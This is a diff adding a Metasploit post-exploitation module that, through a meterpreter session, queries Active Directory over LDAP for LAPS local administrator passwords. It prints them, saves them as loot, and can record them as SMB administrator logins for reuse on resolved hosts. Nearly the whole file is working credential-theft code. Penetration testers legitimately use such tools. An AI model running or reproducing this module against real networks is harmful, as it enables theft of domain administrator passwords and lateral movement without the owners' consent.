Enum LAPS

Author: Meatballs1

modules/post/windows/gather/credentials/enum_laps.rb

@@ -0,0 +1,192 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'rex'
+require 'msf/core'
+require 'msf/core/auxiliary/report'
+
+class Metasploit3 < Msf::Post
+
+  include Msf::Auxiliary::Report
+  include Msf::Post::Windows::LDAP
+
+  FIELDS = ['distinguishedName',
+            'dNSHostName',
+            'ms-MCS-AdmPwd',
+            'ms-MCS-AdmPwdExpirationTime'].freeze
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'         => 'Windows Gather Credentials Local Administrator Password Solution',
+      'Description'  => %Q{
+        This module will recover the LAPS (Local Administrator Password Solution) passwords,
+        configured in active directory. Note, only privileged users should be able to access
+        these fields. Note: The local administrator account name is not stored in active directory,
+        by default credentials will be stored in the database against 'Administrator'.
+      },
+      'License'      => MSF_LICENSE,
+      'Author'       =>
+        [
+          'Ben Campbell',
+        ],
+      'Platform'     => [ 'win' ],
+      'SessionTypes' => [ 'meterpreter' ],
+      'References'   =>
+        [
+          ['URL', 'http://test'],
+        ]
+    ))
+
+    register_options([
+      OptString.new('LOCAL_ADMIN_NAME', [true, 'The username to store the password against', 'Administrator']),
+      OptBool.new('STORE_DB', [true, 'Store file in loot.', false]),
+      OptBool.new('STORE_LOOT', [true, 'Store file in loot.', true]),
+      OptString.new('FILTER', [true, 'Search filter.', '(objectCategory=Computer)'])
+    ], self.class)
+
+    deregister_options('FIELDS')
+  end
+
+  def run
+    search_filter = datastore['FILTER']
+    max_search = datastore['MAX_SEARCH']
+
+    begin
+      q = query(search_filter, max_search, FIELDS)
+    rescue RuntimeError => e
+      # Raised when the default naming context isn't specified as distinguished name
+      print_error(e.message)
+      return
+    end
+
+    if q.nil? || q[:results].empty?
+      print_status('No results returned.')
+    else
+      results_table = parse_results(q[:results])
+      print_line results_table.to_s
+
+      if datastore['STORE_LOOT']
+        stored_path = store_loot('laps.passwords', 'text/plain', session, results_table.to_csv)
+        print_status("Results saved to: #{stored_path}")
+      end
+    end
+  end
+
+  # Takes the results of LDAP query, parses them into a table
+  # and records and usernames as {Metasploit::Credential::Core}s in
+  # the database.
+  #
+  # @param [Array<Array<Hash>>] the LDAP query results to parse
+  # @return [Rex::Ui::Text::Table] the table containing all the result data
+  def parse_results(results)
+    laps_results = []
+    # Results table holds raw string data
+    results_table = Rex::Ui::Text::Table.new(
+      'Header'     => 'Local Administrator Password Solution (LAPS) Results',
+      'Indent'     => 1,
+      'SortIndex'  => -1,
+      'Columns'    => FIELDS
+    )
+
+    results.each do |result|
+      row = []
+
+      result.each do |field|
+        if field.nil?
+          row << ""
+        else
+          if field[:type] == :number
+            value = convert_windows_nt_time_format(field[:value])
+          else
+            value = field[:value]
+          end
+          row << value
+        end
+      end
+
+      hostname = result[FIELDS.index('dNSHostName')][:value].downcase
+      password = result[FIELDS.index('ms-MCS-AdmPwd')][:value]
+      dn = result[FIELDS.index('distinguishedName')][:value]
+      expiration = convert_windows_nt_time_format(result[FIELDS.index('ms-MCS-AdmPwdExpirationTime')][:value])
+
+      unless password.to_s.empty?
+        results_table << row
+        laps_results << { hostname: hostname,
+                          password: password,
+                          dn: dn,
+                          expiration: expiration
+        }
+      end
+    end
+
+    if datastore['STORE_DB']
+      print_status('Resolving IP addresses...')
+      hosts = []
+      laps_results.each do |h|
+        hosts << h[:hostname]
+      end
+
+      resolve_results = client.net.resolve.resolve_hosts(hosts)
+
+      # Match each IP to a host...
+      resolve_results.each do |r|
+        l = laps_results.find{ |laps| laps[:hostname] == r[:hostname] }
+        l[:ip] = r[:ip]
+      end
+
+      laps_results.each do |r|
+        next if r[:ip].to_s.empty?
+        next if r[:password].to_s.empty?
+        store_creds(datastore['LOCAL_ADMIN_NAME'], r[:password], r[:ip])
+      end
+    end
+
+    results_table
+  end
+
+
+  def store_creds(username, password, ip)
+    service_data = {
+      address: ip,
+      port: 445,
+      service_name: 'smb',
+      protocol: 'tcp',
+      workspace_id: myworkspace_id
+    }
+
+    credential_data = {
+      origin_type: :session,
+      session_id: session_db_id,
+      post_reference_name: refname,
+      username: username,
+      private_data: password,
+      private_type: :password
+    }
+
+    credential_data.merge!(service_data)
+
+    # Create the Metasploit::Credential::Core object
+    credential_core = create_credential(credential_data)
+
+    # Assemble the options hash for creating the Metasploit::Credential::Login object
+    login_data = {
+      core: credential_core,
+      access_level: 'Administrator',
+      status: Metasploit::Model::Login::Status::UNTRIED
+    }
+
+    # Merge in the service data and create our Login
+    login_data.merge!(service_data)
+    create_credential_login(login_data)
+  end
+
+  # https://gist.github.com/nowhereman/189111
+  def convert_windows_nt_time_format(windows_time)
+    unix_time = windows_time.to_i/10000000-11644473600
+    ruby_time = Time.at(unix_time)
+    ruby_time.strftime("%d/%m/%Y %H:%M:%S GMT %z")
+  end
+
+end